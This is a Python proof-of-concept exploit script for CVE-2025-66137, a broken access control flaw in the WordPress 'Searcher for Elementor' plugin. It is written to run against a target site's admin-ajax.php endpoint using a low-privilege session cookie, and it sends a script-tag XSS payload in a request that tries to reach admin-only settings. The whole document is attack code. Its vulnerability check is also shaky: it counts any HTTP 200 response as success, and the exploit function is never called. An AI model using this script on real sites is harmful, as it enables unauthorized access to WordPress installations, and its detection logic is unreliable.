CVE-2025-66137

import requests # CVE-2025-66137 PoC - Searcher for Elementor Broken Access Control # Target: WordPress site with Searcher for Elementor plugin <= 1.0.3 target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Authenticated low-privilege user session cookies = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_user": "your_session_cookie" } # Step 1: Identify if the plugin is installed and vulnerable def check_vulnerability(): params = { "action": "searcher_elementor_ajax_search", "search": "test", "security": "" } try: response = requests.get(target_url, params=params, cookies=cookies) # If we get a response without proper authorization check, vulnerability exists if response.status_code == 200: print(f"[+] Plugin is installed, checking for access control issue...") print(f"[+] Response: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Step 2: Exploit the broken access control def exploit_access_control(): # This payload attempts to access admin-only searcher settings params = { "action": "searcher_elementor_ajax_search", "search": "<script>alert('XSS')</script>", "searcher_options": "1" } response = requests.post(target_url, data=params, cookies=cookies) print(f"[+] Exploit response status: {response.status_code}") print(f"[+] Response content: {response.text}") if __name__ == "__main__": print("CVE-2025-66137 PoC - Searcher for Elementor <= 1.0.3") print("Type: Missing Authorization / Broken Access Control") check_vulnerability()

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